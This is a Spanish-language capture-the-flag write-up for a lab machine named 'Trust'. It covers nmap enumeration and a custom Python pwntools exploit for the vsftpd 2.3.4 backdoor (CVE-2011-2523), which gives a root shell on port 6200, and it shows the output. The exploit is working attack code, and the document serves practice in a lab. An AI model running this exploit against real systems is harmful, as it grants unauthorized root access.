😐

[ no0funny ]

Trust

Laboratorio para practicar enumeración web, fuerza bruta SSH con Hydra y escalada de privilegios abusando de sudoers.

Trust

Enumeration

Hacemos un escaneo de puertos con nmap para ver cuales están abiertos y qué servicios corren en ellos.

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/trust 172.17.0.2
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

Hacemos otro escaneo para ver más detalles sobre los servicios que corren en los puertos abiertos.

nmap -p 21,80 -sCV -oA nmap/openports 172.17.0.2
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
|_ftp-anon: got code 500 "OOPS: cannot change directory:/var/ftp".
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Unix

Buscamos con searchsploit si el servicio ftp en la versión vsftpd 2.3.4 es vulnerable

searchsploit vsftpd 2.3.4
vsftpd 2.3.4 - Backdoor Command Execution                                                                                                 | unix/remote/49757.py

Encontramos que esa versión es vulnerable. Ahora miramos el contenido del script con el comando searchsploit -x 49757 y encontramos el CVE-2011-2523 que corresponde a la vulnerabilidad, el mismo indica que la versión 2.3.4 de vsftpd descargada entre ciertas fechas contiene un backdoor que abre una shell en el puerto 6200/tcp. Ya que el script de searchsploit usa una librería de Python que está obsoleta creamos nuestro propio exploit.

Exploitation

exploit.py

#!/usr/bin/env python3

from pwn import *
import argparse

parser = argparse.ArgumentParser(description="vsFTPd 2.3.4 Backdoor Exploit")
parser.add_argument("-t", "--target", required=True, help="Target IP address or hostname")

args = parser.parse_args()
host = args.target

ftp = remote(host, 21)

ftp.recvuntil(b"vsFTPd")
ftp.sendline(b"USER nergal:)")
ftp.recvuntil(b"password")
ftp.sendline(b"PASS pass")

shell = remote(host, 6200)
shell.interactive()

Ejecutamos el exploit.py pasandole la ip del target y obtenemos la shell como el usuario root.

python3 exploit.py -t 172.17.0.2
[+] Opening connection to 172.17.0.2 on port 21: Done
[+] Opening connection to 172.17.0.2 on port 6200: Done
[*] Switching to interactive mode
$

Una vez obtenida la shell ejecutamos el comando id para saber qué usuario está ejecutando el proceso actual y verificamos que estamos conectados como el usuario root.

id
uid=0(root) gid=0(root) groups=0(root)